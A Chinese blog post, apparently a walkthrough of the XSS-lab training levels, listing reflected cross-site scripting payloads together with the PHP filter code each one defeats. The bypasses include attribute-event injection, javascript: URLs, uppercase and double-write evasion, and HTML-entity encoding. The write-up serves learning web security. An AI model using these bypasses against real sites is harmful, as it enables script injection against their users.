zoukankan      html  css  js  c++  java
  • xss lab注入

    XSS-lab简单总结

    1.<script>alert(1)</script>

    2.</h2><script>alert(1)</script> 先闭合标签

    3.<input name=keyword value='".htmlspecialchars($str)."'>

    闭合引号,绕过html实体化,避免<>的出现。

    payload: ' onclick='alert(1)' 单引号闭合

    4.$str2=str_replace(">","",$str);

    将<>替换为空,可以用上面的方式

    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);

    两个过滤,用javascript伪协议

    "><a href="javascript:alert(1)">a</a>

    $str = $_GET["keyword"];
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);

    没有转小写,用大写绕过
    "><SCRIPT>alert(1)</SCRIPT>

    转小写,替换为空,用双写绕过
    "><SCRSCRIPTIPT>alert(1)</SCRSCRIPTIPT>

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);

    用html实体编码。

    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1) //javascript:alert(1)

    多加了个这个if(false===strpos($str7,'http://')),检测这句话里面有没有http://

    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(http://)

    " onclick="alert(1)" type=button
    " onmouseover= "alert(1)"
    " accesskey="x" onclick="alert(1)" type="text"
    

    user-agent,cookie,http_server,都可以是注入点

    span class="ng-include:'.htmlspecialchars($str).'"></span>

    ng_include 是angularjs的用法 ,包含文件

    <img%0asrc=""%0aonerror="alert(1)">//onerror

    %0a 替代 空格

    14.flash xss
    https://www.secpulse.com/archives/44299.html

  • 相关阅读:
    多线程调用本质
    音频编码解码器库 libZPlay
    C#多线程代码调试技巧
    SharpMap实践代码
    Work Queue based multithreading
    (转)C#写的NoSQL开源系统(系列)
    A .NET State Machine Toolkit Part I
    在线开发环境地址
    数字音乐商KKBOX三季度将进军日本市场
    苹果官方购置iPad用户将获1100元退款
  • 原文地址:https://www.cnblogs.com/vstar-o/p/13092465.html
Copyright © 2011-2022 走看看